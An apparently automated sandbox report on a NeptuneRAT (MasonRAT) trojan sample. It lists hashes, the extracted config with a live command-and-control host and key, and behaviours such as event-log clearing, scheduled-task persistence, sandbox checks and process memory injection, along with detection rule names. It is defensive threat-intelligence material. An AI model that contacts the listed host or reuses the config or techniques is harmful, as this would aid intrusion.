neptunerat | 72faffb7f0ad058f27ed60bb2275f04ef0100b85783289b8f05de07a8e50beac

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 19:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe
Size 248KB
Sample260809-yc9pxsvbnd
SHA256 72faffb7f0ad058f27ed60bb2275f04ef0100b85783289b8f05de07a8e50beac
MD5 9bafba8bfde3127b67cde15f83047b30
SHA1 9ec4cae790256d77f102f5caedf43be93f4fb260
SHA512 e4f39d5934d959d06a2f9ab844367a7e58fb31ab40d1d1586a4d9be53be4bfd5dd4964d3294b957827223550964cb87d38411d463e63b1e36aca97ac101a48a2
SSDEEP 3072:gZ4cImeMb8sbOmwotLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQd:fbMb9/5bTgVziHzZnSKrCbYMy6bT8Bq
TLSH
T16F4428A6F7A000F6D4BE41718D636B06B7B2F0370721D7EF1A9449993F637A04D29BA1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution neptunerat persistence trojan

Malware Config

Extracted

Family

neptunerat

viperalza7fgg-40476.portmap.host:40476

Attributes

filename
USB.exe
group
MasonGroup
key
9wrRyOC9NiWIvgni
rat_name
MasonRAT

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral2/memory/3532-0-0x000001BDE6F10000-0x000001BDE6F54000-memory.dmp	family_neptunerat
behavioral2/memory/3532-308-0x000001BDE9650000-0x000001BDE9662000-memory.dmp	family_neptunerat

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5164 created 4424	5164	WerFault.exe	81

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 236 created 3512	236	svchost.exe	64
PID 236 created 4424	236	svchost.exe	81

Detects Windows executables referencing non-Windows User-Agents 2 IoCs

resource	yara_rule
behavioral2/memory/3532-0-0x000001BDE6F10000-0x000001BDE6F54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral2/memory/3532-308-0x000001BDE9650000-0x000001BDE9662000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables containing URLs to raw contents of a Github gist 2 IoCs

resource	yara_rule
behavioral2/memory/3532-0-0x000001BDE6F10000-0x000001BDE6F54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/memory/3532-308-0x000001BDE9650000-0x000001BDE9662000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2832	powershell.exe
6	2832	powershell.exe
6	2832	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2832	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4708	kxwc1111.etp.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
11	raw.githubusercontent.com

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 36 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	ctfmon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	ctfmon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	ctfmon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	ctfmon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	ctfmon.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D44C173E-DF19-4FEB-937D-33092E61AD9E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1786304401"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 07 Aug 2026 21:07:27 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4440	SCHTASKS.exe
5280	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
1368	WerFault.exe
1368	WerFault.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
2832	powershell.exe
2832	powershell.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
2832	powershell.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
236	svchost.exe
236	svchost.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
2832	powershell.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
236	svchost.exe
236	svchost.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
2832	powershell.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
2832	powershell.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe
4708	kxwc1111.etp.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4424	explorer.exe

Suspicious use of AdjustPrivilegeToken 51 IoCs

description	pid	Process
Token: SeDebugPrivilege	3532	2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe
Token: SeDebugPrivilege	4708	kxwc1111.etp.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe
Token: SeShutdownPrivilege	4424	explorer.exe
Token: SeCreatePagefilePrivilege	4424	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6000	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3532 wrote to memory of 4708	3532	2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe	89
PID 3532 wrote to memory of 4440	3532	2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe	90
PID 4708 wrote to memory of 740	4708	kxwc1111.etp.exe	5
PID 4708 wrote to memory of 956	4708	kxwc1111.etp.exe	9
PID 4708 wrote to memory of 964	4708	kxwc1111.etp.exe	10
PID 4708 wrote to memory of 1004	4708	kxwc1111.etp.exe	11
PID 4708 wrote to memory of 608	4708	kxwc1111.etp.exe	13
PID 4708 wrote to memory of 1124	4708	kxwc1111.etp.exe	14
PID 4708 wrote to memory of 1180	4708	kxwc1111.etp.exe	15
PID 4708 wrote to memory of 1248	4708	kxwc1111.etp.exe	16
PID 4708 wrote to memory of 1288	4708	kxwc1111.etp.exe	17
PID 4708 wrote to memory of 1352	4708	kxwc1111.etp.exe	18
PID 4708 wrote to memory of 1396	4708	kxwc1111.etp.exe	19
PID 4708 wrote to memory of 1568	4708	kxwc1111.etp.exe	22
PID 4708 wrote to memory of 1616	4708	kxwc1111.etp.exe	23
PID 4708 wrote to memory of 1712	4708	kxwc1111.etp.exe	24
PID 4708 wrote to memory of 1736	4708	kxwc1111.etp.exe	25
PID 4708 wrote to memory of 1760	4708	kxwc1111.etp.exe	26
PID 4708 wrote to memory of 1824	4708	kxwc1111.etp.exe	27
PID 4708 wrote to memory of 1972	4708	kxwc1111.etp.exe	28
PID 4708 wrote to memory of 1328	4708	kxwc1111.etp.exe	29
